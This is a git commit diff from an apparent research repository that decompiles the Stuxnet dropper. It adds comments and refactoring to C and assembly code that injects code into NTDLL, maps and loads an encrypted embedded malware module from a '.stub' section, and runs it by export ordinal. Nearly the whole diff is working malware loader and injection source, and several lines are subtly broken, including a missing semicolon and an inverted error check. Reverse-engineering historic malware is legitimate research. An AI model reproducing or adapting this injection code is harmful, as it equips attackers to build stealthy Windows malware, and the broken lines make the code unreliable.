mirror of
https://github.com/micrictor/stuxnet.git
synced 2026-01-07 21:54:01 -05:00
Massive restructure
A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1
This commit is contained in:
@@ -21,6 +21,7 @@
|
||||
** ASSEMBLY BLOCK 0. **
|
||||
*************************************************************************/
|
||||
|
||||
// This is the first bit of code injected into NTDLL at base + 16
|
||||
void __declspec(naked) __ASM_BLOCK0_0(void)
|
||||
{
|
||||
__asm
|
||||
@@ -31,22 +32,22 @@ void __declspec(naked) __ASM_BLOCK0_0(void)
|
||||
|
||||
mov dl, 0
|
||||
jmp short __ASM_REF_0
|
||||
|
||||
|
||||
mov dl, 1
|
||||
jmp short __ASM_REF_0
|
||||
|
||||
|
||||
mov dl, 2
|
||||
jmp short __ASM_REF_0
|
||||
|
||||
|
||||
mov dl, 3
|
||||
jmp short __ASM_REF_0
|
||||
|
||||
|
||||
mov dl, 4
|
||||
jmp short __ASM_REF_0
|
||||
|
||||
|
||||
mov dl, 5
|
||||
jmp short $+2
|
||||
|
||||
|
||||
__ASM_REF_0:
|
||||
push edx
|
||||
call __ASM_BLOCK0_2
|
||||
@@ -24,6 +24,11 @@
|
||||
/* This entire file seems like one giant function that calls itself to get
|
||||
* the addresses for the strings.
|
||||
*/
|
||||
|
||||
// Called during the injection process
|
||||
// Argument is the address of ASM Block
|
||||
// AKA NTDLL + 16
|
||||
// ECX = sASMCodeBlocksHeader( type is ASM_CODE_BLOCKS_HEADER )
|
||||
void __declspec(naked) __ASM_BLOCK1_0(void)
|
||||
{
|
||||
__asm
|
||||
@@ -37,7 +42,7 @@ void __declspec(naked) __ASM_BLOCK1_1(void)
|
||||
{
|
||||
__asm
|
||||
{
|
||||
pop edx
|
||||
pop edx // EDX = char * "ZwMapViewOfSection"
|
||||
push ecx
|
||||
add ecx, 4 // ECX = a vtable?
|
||||
call __ASM_REF_7
|
||||
@@ -526,8 +526,8 @@ __declspec(naked) void __ASM_REF_7(void)
|
||||
jnz short exitFunc
|
||||
cmp dword ptr [eax+0Fh], 0C2000000h
|
||||
jnz short exitFunc
|
||||
push edx
|
||||
call __ASM_REF_5
|
||||
push edx
|
||||
call __ASM_REF_5 // __ASM_REF_5 + 0x124
|
||||
mov dword ptr [edx+4], 1
|
||||
pop edx
|
||||
|
||||
@@ -31,40 +31,40 @@ INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
|
||||
|
||||
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
|
||||
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
|
||||
|
||||
|
||||
BLOCK4_memcpy(&sInfoBlockCopy, pVirusModuleSection, sizeof(GENERAL_INFO_BLOCK));
|
||||
|
||||
|
||||
sInfoBlockCopy.OriginalAddress = ((UINT32)&sInfoBlockCopy ^ XADDR_KEY);
|
||||
sInfoBlockCopy.UnknownZero0 = 0;
|
||||
sInfoBlockCopy.AlignAddressesFunction = sASMCodeBlocksHeader->AlignAddresses;
|
||||
|
||||
|
||||
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)pVirusModuleSection->VirusModuleSegment.SegmentAddress, pVirusModuleSection->VirusModuleSegment.SegmentSize);
|
||||
if(iResult) return iResult;
|
||||
|
||||
|
||||
iResult = BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs);
|
||||
if(iResult) return -4;
|
||||
|
||||
|
||||
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
|
||||
if(!pVirusModule) return -9;
|
||||
|
||||
|
||||
pVirusModuleSection->VirusModulePointer = pVirusModule;
|
||||
if(pVirusModuleSection->LibraryExecuteEntryNumber != -1)
|
||||
{
|
||||
hThread = pHardAddrs->CreateThread(NULL, 0x00080000, (LPTHREAD_START_ROUTINE)sASMCodeBlocksHeader->ExecuteLibrary, sASMCodeBlocksHeader, 0, NULL);
|
||||
|
||||
|
||||
if(!hThread) return -13;
|
||||
|
||||
|
||||
pHardAddrs->WaitForSingleObject(hThread, -1);
|
||||
pHardAddrs->GetExitCodeThread(hThread, (LPDWORD)&iResult);
|
||||
}
|
||||
|
||||
|
||||
hMappedAddress = sInfoBlockCopy.MappedAddress;
|
||||
if(sInfoBlockCopy.MappedAddress)
|
||||
{
|
||||
sInfoBlockCopy.MappedAddress = 0;
|
||||
pHardAddrs->ZwClose(hMappedAddress);
|
||||
}
|
||||
|
||||
|
||||
pHardAddrs->UnmapViewOfFile(pVirusModuleSection);
|
||||
return iResult;
|
||||
}
|
||||
@@ -78,16 +78,16 @@ INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
|
||||
|
||||
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
|
||||
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
|
||||
|
||||
|
||||
pLibraryExecEntry = pHardAddrs->GetProcAddress(pVirusModuleSection->VirusModulePointer, (LPCSTR)pVirusModuleSection->LibraryExecuteEntryNumber);
|
||||
|
||||
|
||||
if(pLibraryExecEntry)
|
||||
{
|
||||
// Note: Same arguments passed to the 15th function of the internal library, maybe it was another module loaded in the past?
|
||||
((__tLibraryExecEntry)pLibraryExecEntry)(pVirusModuleSection->UnknownSegment.SegmentAddress, pVirusModuleSection->UnknownSegment.SegmentSize);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
pHardAddrs->FreeLibrary(pVirusModuleSection->VirusModulePointer);
|
||||
return 0;
|
||||
}
|
||||
@@ -127,44 +127,44 @@ NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS)
|
||||
|
||||
if(!pImageDOS || !*pImageDOS)
|
||||
return STATUS_ACCESS_VIOLATION;
|
||||
|
||||
|
||||
pImageBase = (DWORD)pImageDOS;
|
||||
if((*pImageDOS)->e_magic != MZ_HEADER)
|
||||
return STATUS_ACCESS_VIOLATION;
|
||||
|
||||
|
||||
pImageNT = (PIMAGE_NT_HEADERS)(pImageBase + (*pImageDOS)->e_lfanew);
|
||||
pImageBaseDelta = (DWORD)(pImageBase - pImageNT->OptionalHeader.ImageBase);
|
||||
|
||||
|
||||
if(pImageBase == pImageNT->OptionalHeader.ImageBase)
|
||||
return STATUS_SUCCESS;
|
||||
|
||||
|
||||
pImageNT->OptionalHeader.ImageBase = pImageBase;
|
||||
if(!pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
|
||||
return STATUS_CONFLICTING_ADDRESSES;
|
||||
|
||||
|
||||
for(i = (PIMAGE_BASE_RELOCATION)(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pImageBase); i->SizeOfBlock; i += i->SizeOfBlock/sizeof(IMAGE_BASE_RELOCATION))
|
||||
{
|
||||
iDeltaSizeOfBlock = i->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION);
|
||||
wTypeOffset = (WORD *)(i + 1);
|
||||
|
||||
|
||||
if(iDeltaSizeOfBlock % 2)
|
||||
return STATUS_CONFLICTING_ADDRESSES;
|
||||
|
||||
|
||||
for(j = 0; j < iDeltaSizeOfBlock / 2; ++j)
|
||||
{
|
||||
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_ABSOLUTE)
|
||||
{
|
||||
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_HIGHLOW)
|
||||
return STATUS_CONFLICTING_ADDRESSES;
|
||||
|
||||
|
||||
dwItemAddress = (DWORD *)((*wTypeOffset & 0x0FFF) + i->VirtualAddress + pImageBase);
|
||||
*dwItemAddress += pImageBaseDelta;
|
||||
}
|
||||
|
||||
|
||||
wTypeOffset++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -198,7 +198,7 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT,
|
||||
dwNumberOfSections = pImageNT->FileHeader.NumberOfSections;
|
||||
BLOCK4_memcpy(pMapViewOfFile, pVirusModule, pImageNT->OptionalHeader.SizeOfHeaders);
|
||||
pImageSections = (PIMAGE_SECTION_HEADER)((DWORD)pImageNT + pImageNT->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD));
|
||||
|
||||
|
||||
// Copy section by section
|
||||
for(dwCurrentSection = 0; dwCurrentSection < dwNumberOfSections; dwCurrentSection++, pImageSections++)
|
||||
{
|
||||
@@ -211,24 +211,27 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT,
|
||||
INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs)
|
||||
{
|
||||
HMODULE hHandleNTDLL; // [sp+8h] [bp-Ch]@1
|
||||
void *v4; // [sp+Ch] [bp-8h]@3
|
||||
void *NTDLL_Entry; // [sp+Ch] [bp-8h]@3
|
||||
DWORD dwOld; // [sp+10h] [bp-4h]@5
|
||||
|
||||
hHandleNTDLL = pHardAddrs->NTDLL_DLL;
|
||||
if(!pHardAddrs->NTDLL_DLL) return 0;
|
||||
|
||||
v4 = (void *)(hHandleNTDLL + 16);
|
||||
|
||||
NTDLL_Entry = (void *)(hHandleNTDLL + 16); // Presumably the entry point
|
||||
if(*(_DWORD *)(hHandleNTDLL + 16) == 0xAB49103B) return 0; // Check if the code has been already injected
|
||||
|
||||
|
||||
if(pHardAddrs->VirtualProtect(hHandleNTDLL, 0x1000, PAGE_EXECUTE_WRITECOPY, &dwOld))
|
||||
{
|
||||
BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize); // inject the code
|
||||
((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(v4); // __thiscall ignored by compiler
|
||||
// Copy code into ntdll entry point...
|
||||
BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize);
|
||||
|
||||
// ...then call ASMBlock1Segment with a pointer to the entry point as an argument
|
||||
((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(NTDLL_Entry); // __thiscall ignored by compiler
|
||||
pHardAddrs->FlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
return -4;
|
||||
}
|
||||
|
||||
@@ -244,32 +247,32 @@ INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_B
|
||||
|
||||
sInfoBlock->MappedAddress = 0;
|
||||
pImageDOS = (PIMAGE_DOS_HEADER)pVirusModule;
|
||||
|
||||
|
||||
if(((PIMAGE_DOS_HEADER)pVirusModule)->e_magic != MZ_HEADER) return -2;
|
||||
|
||||
|
||||
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusModule + pImageDOS->e_lfanew);
|
||||
if(pImageNT->Signature != PE_HEADER) return -2;
|
||||
|
||||
|
||||
liMaximumSize.LowPart = pImageNT->OptionalHeader.SizeOfImage; // 0x00006000
|
||||
liMaximumSize.HighPart = 0;
|
||||
|
||||
|
||||
// ZwCreateSection(..., 0xF001F, 0, ..., 64, 0x8000000, 0)
|
||||
iStatus = pHardAddrs->ZwCreateSection(&hSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
|
||||
if(iStatus != STATUS_SUCCESS) return -11;
|
||||
|
||||
|
||||
pMapViewOfFile = pHardAddrs->MapViewOfFile(hSectionHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
|
||||
if(!pMapViewOfFile)
|
||||
{
|
||||
pHardAddrs->ZwClose(hSectionHandle);
|
||||
return -10;
|
||||
}
|
||||
|
||||
|
||||
sInfoBlock->MappedAddress = hSectionHandle;
|
||||
BLOCK4_CopyDataIntoMapView(pVirusModule, pImageNT, pMapViewOfFile);
|
||||
BLOCK4_CopyPEHeaderInfo(sInfoBlock, pImageNT, iVirusModuleSize);
|
||||
|
||||
|
||||
pHardAddrs->UnmapViewOfFile(pMapViewOfFile);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -17,11 +17,16 @@
|
||||
|
||||
#include "data.h"
|
||||
#include "OS.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
HINSTANCE g_hInstDLL = NULL;
|
||||
|
||||
// 100% (C) CODE MATCH
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
{
|
||||
if(fdwReason && fdwReason == 1) hINSTANCE = hinstDLL;
|
||||
if(fdwReason && fdwReason == 1)
|
||||
g_hInstDLL = hinstDLL;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -30,17 +35,17 @@ BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
|
||||
{
|
||||
if(fdwReason && fdwReason == 1)
|
||||
{
|
||||
hINSTANCE = hinstDLL;
|
||||
g_hInstDLL = hinstDLL;
|
||||
CheckSystemVersion(TRUE);
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 100% (C) CODE MATCH
|
||||
HRESULT __stdcall DllCanUnloadNow(void)
|
||||
{
|
||||
hINSTANCE = GetModuleHandleW(0);
|
||||
g_hInstDLL = GetModuleHandleW(0);
|
||||
CheckSystemVersion(TRUE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
@@ -63,7 +68,7 @@ LONG APIENTRY CPlApplet(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2)
|
||||
{
|
||||
if(*(DWORD *)(hwndCPl + 2))
|
||||
DeleteFileA(*(LPCSTR *)(hwndCPl + 2));
|
||||
|
||||
|
||||
CheckSystemVersion(TRUE);
|
||||
return 1;
|
||||
}
|
||||
@@ -33,23 +33,23 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO
|
||||
|
||||
pBaseAddr1 = 0;
|
||||
pBaseAddr2 = 0;
|
||||
|
||||
|
||||
iSectionPointer = 0;
|
||||
iSectionsSize = sizeof(VIRUS_MODULE_BLOCKS_HEADER) + pUnknownSegmentSize + pVirusModuleSize;
|
||||
|
||||
|
||||
iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pBaseAddr1, &pBaseAddr2);
|
||||
if(iOpenMapViewFailed) return iOpenMapViewFailed;
|
||||
|
||||
|
||||
sVirusModuleBlocksHeader = (PVIRUS_MODULE_BLOCKS_HEADER)pBaseAddr1;
|
||||
pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(VIRUS_MODULE_BLOCKS_HEADER));
|
||||
iSectionPointer = sizeof(VIRUS_MODULE_BLOCKS_HEADER);
|
||||
|
||||
|
||||
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->UnknownSegment, pUnknownSegment, pUnknownSegmentSize);
|
||||
pVirusImageBase = pBaseAddr1;
|
||||
|
||||
|
||||
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->VirusModuleSegment, pVirusModule, pVirusModuleSize);
|
||||
pImageDOS = (PIMAGE_DOS_HEADER)pVirusImageBase;
|
||||
|
||||
|
||||
if((UINT32)pVirusModuleSize >= 0x1000 &&
|
||||
pImageDOS->e_magic == MZ_HEADER &&
|
||||
pImageDOS->e_lfanew + sizeof(IMAGE_OPTIONAL_HEADER) + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD) < (UINT32)pVirusModuleSize) // (UINT32 *)pImageDOS[15] + 248 -> Section ".text"
|
||||
@@ -58,14 +58,14 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO
|
||||
if(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size == 72)
|
||||
pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size = 64; // Change Delay Import Directory Size
|
||||
}
|
||||
|
||||
|
||||
__memcpy(&sVirusModuleBlocksHeader->InformationBlock, sInfoBlock, sizeof(GENERAL_INFO_BLOCK));
|
||||
|
||||
|
||||
sVirusModuleBlocksHeader->LibraryExecuteEntryNumber = iExecEntryNumber;
|
||||
sVirusModuleBlocksHeader->VirusModulePointer = 0;
|
||||
|
||||
|
||||
*pOutSection = pBaseAddr2;
|
||||
|
||||
|
||||
g_hardAddrs.UnmapViewOfFile(sVirusModuleBlocksHeader); // Unmap pBaseAddr1 -> same copy present in pBaseAddr2
|
||||
g_hardAddrs.ZwClose(hMapHandle);
|
||||
|
||||
@@ -82,31 +82,32 @@ INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MO
|
||||
GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+10h] [bp-80h]@1
|
||||
|
||||
__memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); // Copy the information
|
||||
|
||||
|
||||
sInfoBlockCopy.OriginalAddress ^= XADDR_KEY; // Get the original address of the variable sInfoBlock
|
||||
sInfoBlockCopy.UnknownZero0 = 0;
|
||||
|
||||
|
||||
// Point to the first block of assembly in the section
|
||||
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
|
||||
|
||||
|
||||
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize);
|
||||
if(iResult) return iResult;
|
||||
|
||||
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4;
|
||||
|
||||
if(iResult) return iResult
|
||||
|
||||
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs))
|
||||
return -4;
|
||||
|
||||
/* Load library from the memory */
|
||||
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
|
||||
if(!pVirusModule) return -9;
|
||||
|
||||
|
||||
sVirusModuleBlocksHeader->VirusModulePointer = pVirusModule;
|
||||
hMappedAddress = sInfoBlockCopy.MappedAddress;
|
||||
|
||||
|
||||
if(sInfoBlockCopy.MappedAddress)
|
||||
{
|
||||
sInfoBlockCopy.MappedAddress = 0;
|
||||
pHardAddrs->ZwClose(hMappedAddress);
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -151,43 +152,45 @@ INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlo
|
||||
|
||||
pBaseAddr1 = 0;
|
||||
pBaseAddr2 = 0;
|
||||
|
||||
|
||||
iCodeBlockSize = GetCodeBlockSize(); // [0xB3A] (2874)
|
||||
iSectionsSize = sizeof(ASM_CODE_BLOCKS_HEADER) + _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0) + _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0) + iCodeBlockSize;
|
||||
|
||||
|
||||
iSectionPointer = 0;
|
||||
|
||||
|
||||
iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &pSectionHandle, &pBaseAddr1, &pBaseAddr2);
|
||||
// Because hHandle = GetCurrentProcess(), pBaseAddr1 == pBaseAddr2
|
||||
|
||||
if(!iOpenMapViewFailed) return iOpenMapViewFailed;
|
||||
|
||||
|
||||
sASMCodeBlocksHeader = (PASM_CODE_BLOCKS_HEADER)pBaseAddr1;
|
||||
pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(ASM_CODE_BLOCKS_HEADER));
|
||||
iSectionPointer = sizeof(ASM_CODE_BLOCKS_HEADER);
|
||||
|
||||
|
||||
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock1Segment, __ASM_BLOCK1_0, _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0));
|
||||
iASMBlock1Pointer = iSectionPointer;
|
||||
|
||||
|
||||
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock0Segment, __ASM_BLOCK0_0, _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0));
|
||||
pCodeBlock = (PVOID)GetCodeBlock();
|
||||
|
||||
|
||||
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->CodeBlockSegment, pCodeBlock, iCodeBlockSize);
|
||||
|
||||
|
||||
v9 = (DWORD *)((DWORD)sASMCodeBlocksHeader + iASMBlock1Pointer + _SIZE(__ASM_BLOCK0_1, __ASM_BLOCK0_0));
|
||||
*v9 = (DWORD)sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(__ASM_REF_3, __ASM_BLOCK1_0);
|
||||
|
||||
|
||||
// Put function address into the memory map
|
||||
sASMCodeBlocksHeader->ExecuteLibrary = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeExecuteLibraryPointer();
|
||||
sASMCodeBlocksHeader->AlignAddresses = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeAlignAddressesPointer();
|
||||
sASMCodeBlocksHeader->VirusModuleSection = (DWORD)pVirusModuleSection;
|
||||
|
||||
|
||||
// Put the values in the pointers
|
||||
*pCodeBlockPointer = (PVOID)sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress;
|
||||
*pAssemblyCodeBlocksSection = pBaseAddr2;
|
||||
|
||||
|
||||
// Close and unmap the first section
|
||||
g_hardAddrs.UnmapViewOfFile(sASMCodeBlocksHeader);
|
||||
g_hardAddrs.ZwClose(pSectionHandle);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -199,26 +202,27 @@ INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, UINT32 iVirusModuleSi
|
||||
|
||||
// Get a random module name with the format "KERNEL32.DLL.ASLR.XXXXXXXX"
|
||||
if(GetRandomModuleName(&sInfoBlock, szDebugModuleName) != 0) return 0;
|
||||
|
||||
|
||||
// Decrypt the Kernel32's and NTDLL's function names
|
||||
if(bSetup && DecodeEncryptedModuleNames() == FALSE) return -12;
|
||||
|
||||
|
||||
iResult = LoadVirusModuleSection(GetCurrentProcess(), &sInfoBlock, pVirusModule, iVirusModuleSize, -1, NULL, 0, &s_virusBlocksPTR);
|
||||
if(iResult) return iResult;
|
||||
|
||||
|
||||
if(bSetup)
|
||||
{
|
||||
iResult = LoadCodeSection(GetCurrentProcess(), s_virusBlocksPTR, &s_codeBlockPTR, &s_ASMCodeBlocksPTR);
|
||||
if(iResult) return iResult;
|
||||
|
||||
|
||||
bSetup = FALSE;
|
||||
}
|
||||
|
||||
|
||||
// Unknown
|
||||
iResult = LoadAndInjectVirus((PASM_CODE_BLOCKS_HEADER)s_ASMCodeBlocksPTR, (PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR, &sInfoBlock);
|
||||
if(!iResult) *hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer;
|
||||
|
||||
if(!iResult)
|
||||
*hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer;
|
||||
|
||||
g_hardAddrs.UnmapViewOfFile(s_virusBlocksPTR);
|
||||
|
||||
|
||||
return iResult;
|
||||
}
|
||||
@@ -18,8 +18,7 @@
|
||||
#ifndef __OS_H__
|
||||
#define __OS_H__
|
||||
|
||||
#include "define.h"
|
||||
#include "STUBHandler.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
void CheckSystemVersion(BOOL bUknownBool);
|
||||
|
||||
11
Dropper/README.md
Normal file
11
Dropper/README.md
Normal file
@@ -0,0 +1,11 @@
|
||||
stuxnet
|
||||
=======
|
||||
|
||||
Eventually, this will be a comprehensive decompilation of Stuxnet's dropper.
|
||||
|
||||
Eventually.
|
||||
|
||||
|
||||
|
||||
Initial base provided by https://github.com/Christian-Roggia/open-myrtus
|
||||
Note: The above repo has slightly cleaner source code( for now ), and includes the rootkit.
|
||||
@@ -27,15 +27,16 @@ void LoadSTUBSection(void)
|
||||
|
||||
/* --->> Get the ".stub" section's RVA and Virtual Sizee <<--- */
|
||||
if(!LocateSTUBSection((PVOID *)&pSectionSTUB, &pSectionVirtualSize)) return;
|
||||
|
||||
|
||||
DecryptSTUBSection((char *)(pSectionSTUB[0] + (UINT32)pSectionSTUB), pSectionSTUB[1]);// (552, 498176)
|
||||
|
||||
|
||||
if(!Setup(NULL, (PVOID)(*pSectionSTUB + (UINT32)pSectionSTUB), pSectionSTUB[1], &hVirusModule)) // (0, 552, 498176, ...)
|
||||
{
|
||||
// Run the 15th exported function from the loaded module
|
||||
pVirusExecEntry = GetProcAddress(hVirusModule, (LPCSTR)15);
|
||||
if(pVirusExecEntry)
|
||||
((__tLibraryExecEntry)pVirusExecEntry)((DWORD)pSectionSTUB, pSectionVirtualSize);
|
||||
|
||||
|
||||
FreeLibrary(hVirusModule);
|
||||
}
|
||||
}
|
||||
@@ -63,7 +64,7 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize)
|
||||
}
|
||||
while(iFirstXOR < pSectionVirtualSize);
|
||||
}
|
||||
|
||||
|
||||
iSecondXOR = 0;
|
||||
if(iCyclesSecondXOR)
|
||||
{
|
||||
@@ -74,10 +75,10 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize)
|
||||
}
|
||||
while(iSecondXOR < iCyclesSecondXOR);
|
||||
}
|
||||
|
||||
|
||||
for(i = pSectionVirtualSize - 1; i >= 1; --i)
|
||||
pSectionSTUB[i] -= pSectionSTUB[i - 1];
|
||||
|
||||
|
||||
--iTotalCycles;
|
||||
}
|
||||
while(iTotalCycles >= 0);
|
||||
@@ -90,43 +91,43 @@ bool LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize)
|
||||
PIMAGE_SECTION_HEADER pImageSection; // edi@5
|
||||
UINT32 *pSectionSTUB; // eax@11
|
||||
|
||||
if(((PIMAGE_DOS_HEADER)hINSTANCE)->e_magic != MZ_HEADER)
|
||||
if(((PIMAGE_DOS_HEADER)g_hInstDLL)->e_magic != MZ_HEADER)
|
||||
return FALSE;
|
||||
|
||||
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)hINSTANCE + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240)
|
||||
|
||||
|
||||
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)g_hInstDLL + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240)
|
||||
|
||||
if(pImageNT->Signature != PE_HEADER)
|
||||
return FALSE;
|
||||
|
||||
|
||||
pImageSection = (PIMAGE_SECTION_HEADER)(pImageNT->FileHeader.SizeOfOptionalHeader + (DWORD)pImageNT + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); // (PE header + 224 + 24)
|
||||
|
||||
|
||||
if(pImageNT->FileHeader.NumberOfSections <= 0)
|
||||
return FALSE;
|
||||
|
||||
|
||||
int i = 0;
|
||||
// Strcmp remains true when strs don't match
|
||||
while(lstrcmpiA((LPCSTR)pImageSection->Name, ".stub"))
|
||||
{
|
||||
i++;
|
||||
if(i >= pImageNT->FileHeader.NumberOfSections)
|
||||
i++;
|
||||
if(i >= pImageNT->FileHeader.NumberOfSections)
|
||||
return false;
|
||||
|
||||
pImageSection++; // Next section
|
||||
}
|
||||
|
||||
|
||||
if(pImageSection->SizeOfRawData < STUB_HEADER_LEN)
|
||||
return FALSE;
|
||||
|
||||
pSectionSTUB = (UINT32 *)((UINT32)hINSTANCE + pImageSection->VirtualAddress);
|
||||
|
||||
pSectionSTUB = (UINT32 *)((UINT32)g_hInstDLL + pImageSection->VirtualAddress);
|
||||
if(*pSectionSTUB != STUB_INTEGRITY_MARK)
|
||||
return FALSE;
|
||||
|
||||
/*
|
||||
|
||||
/*
|
||||
* Remove the headers
|
||||
* pSectionSTUB++ because it's an array of 4-byte values
|
||||
*/
|
||||
*pRawSectionSTUB = pSectionSTUB++;
|
||||
*pSectionVirtualSize = pImageSection->SizeOfRawData - 0x4; // Size - header
|
||||
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
41
Dropper/data.h
Normal file
41
Dropper/data.h
Normal file
